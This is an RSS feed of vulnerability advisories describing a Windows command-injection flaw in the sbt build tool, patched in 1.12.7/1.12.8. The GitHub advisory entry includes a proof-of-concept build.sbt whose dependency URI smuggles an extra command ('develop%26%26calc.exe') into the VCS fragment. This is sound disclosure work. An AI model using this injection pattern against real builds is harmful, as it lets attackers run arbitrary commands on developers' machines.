<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 15 Oct 2026 20:38:44 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-277513</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-277513</link>
      <description>EUVD-2026-277513</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-277513</guid>
    </item>
    <item>
      <title>fkie_cve-2026-32948</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-32948</link>
      <description>&lt;p&gt;sbt is a build tool for Scala, Java, and others. From version 0.9.5 to before version 1.12.7, on Windows, sbt uses Process(&amp;#34;cmd&amp;#34;, &amp;#34;/c&amp;#34;, ...) to run VCS commands (git, hg, svn). The URI fragment (branch, tag, revision) is user-controlled via the build definition and passed to these commands without validation. Because cmd /c interprets &amp;amp;, |, and ; as command separators, a malicious fragment can execute arbitrary commands. This issue has been patched in version 1.12.7.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;sbt is a build tool for Scala, Java, and others. From version 0.9.5 to before version 1.12.7, on Windows, sbt uses Process(&amp;#34;cmd&amp;#34;, &amp;#34;/c&amp;#34;, ...) to run VCS commands (git, hg, svn). The URI fragment (branch, tag, revision) is user-controlled via the build definition and passed to these commands without validation. Because cmd /c interprets &amp;amp;, |, and ; as command separators, a malicious fragment can execute arbitrary commands. This issue has been patched in version 1.12.7.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-32948</guid>
    </item>
    <item>
      <title>GHSA-x4ff-q6h8-v7gw — sbt: Source dependency feature (via crafted VCS URL) leads to arbitrary code execution on Windows</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-x4ff-q6h8-v7gw</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Maven: org.scala-sbt:sbt&lt;/p&gt;
&lt;p&gt;### Summary
On Windows, sbt uses `Process(&amp;#34;cmd&amp;#34;, &amp;#34;/c&amp;#34;, ...)` to run VCS commands (git, hg, svn). The URI fragment (branch, tag, revision) is user-controlled via the build definition and passed to these commands without validation. Because `cmd /c` interprets `&amp;amp;`, `|`, and `;` as command separators, a malicious fragment can execute arbitrary commands.&lt;/p&gt;
&lt;p&gt;### Patched version&lt;/p&gt;
&lt;p&gt;Technically, sbt 1.12.7 is patched, but it has a bug that makes source dependency non-functional, so update to **sbt 1.12.8** or later instead.&lt;/p&gt;
&lt;p&gt;### Details
- [Resolvers.scala L84–95](https://github.com/sbt/sbt/blob/dc90f160dfb563f46fd1a7b97945c381d15e2a6c/main/src/main/scala/sbt/Resolvers.scala#L84-L95) — git resolver passes `uri.getFragment()` to `run()` without sanitization
- [Resolvers.scala L137–145](https://github.com/sbt/sbt/blob/dc90f160dfb563f46fd1a7b97945c381d15e2a6c/main/src/main/scala/sbt/Resolvers.scala#L137-L145) — `run()` uses `Process(&amp;#34;cmd&amp;#34;, &amp;#34;/c&amp;#34;, ...)` on Windows, so `cmd` interprets `&amp;amp;&amp;amp;` as command separator&lt;/p&gt;
&lt;p&gt;### PoC
```sh
# build.properties
# sbt.version=1.12.5  # Tested on those two versions of sbt
sbt.version=2.0.0-RC9
```&lt;/p&gt;
&lt;p&gt;```scala
// build.sbt&lt;/p&gt;
&lt;p&gt;ThisBuild / scalaVersion := &amp;#34;2.12.19&amp;#34;&lt;/p&gt;
&lt;p&gt;lazy val root = project
  .in(file(&amp;#34;.&amp;#34;))
  .dependsOn(vulnerable)&lt;/p&gt;
&lt;p&gt;lazy val vulnerable = RootProject(
  uri(&amp;#34;https://github.com/sbt/io.git#develop%26%26calc.exe&amp;#34;)
)
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Windows users are impacted. An attacker can execute arbitrary Windows commands if they control the dependency URI.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Maven: org.scala-sbt:sbt&lt;/p&gt;
&lt;p&gt;### Summary
On Windows, sbt uses `Process(&amp;#34;cmd&amp;#34;, &amp;#34;/c&amp;#34;, ...)` to run VCS commands (git, hg, svn). The URI fragment (branch, tag, revision) is user-controlled via the build definition and passed to these commands without validation. Because `cmd /c` interprets `&amp;amp;`, `|`, and `;` as command separators, a malicious fragment can execute arbitrary commands.&lt;/p&gt;
&lt;p&gt;### Patched version&lt;/p&gt;
&lt;p&gt;Technically, sbt 1.12.7 is patched, but it has a bug that makes source dependency non-functional, so update to **sbt 1.12.8** or later instead.&lt;/p&gt;
&lt;p&gt;### Details
- [Resolvers.scala L84–95](https://github.com/sbt/sbt/blob/dc90f160dfb563f46fd1a7b97945c381d15e2a6c/main/src/main/scala/sbt/Resolvers.scala#L84-L95) — git resolver passes `uri.getFragment()` to `run()` without sanitization
- [Resolvers.scala L137–145](https://github.com/sbt/sbt/blob/dc90f160dfb563f46fd1a7b97945c381d15e2a6c/main/src/main/scala/sbt/Resolvers.scala#L137-L145) — `run()` uses `Process(&amp;#34;cmd&amp;#34;, &amp;#34;/c&amp;#34;, ...)` on Windows, so `cmd` interprets `&amp;amp;&amp;amp;` as command separator&lt;/p&gt;
&lt;p&gt;### PoC
```sh
# build.properties
# sbt.version=1.12.5  # Tested on those two versions of sbt
sbt.version=2.0.0-RC9
```&lt;/p&gt;
&lt;p&gt;```scala
// build.sbt&lt;/p&gt;
&lt;p&gt;ThisBuild / scalaVersion := &amp;#34;2.12.19&amp;#34;&lt;/p&gt;
&lt;p&gt;lazy val root = project
  .in(file(&amp;#34;.&amp;#34;))
  .dependsOn(vulnerable)&lt;/p&gt;
&lt;p&gt;lazy val vulnerable = RootProject(
  uri(&amp;#34;https://github.com/sbt/io.git#develop%26%26calc.exe&amp;#34;)
)
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Windows users are impacted. An attacker can execute arbitrary Windows commands if they control the dependency URI.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-x4ff-q6h8-v7gw</guid>
    </item>
  </channel>
</rss>
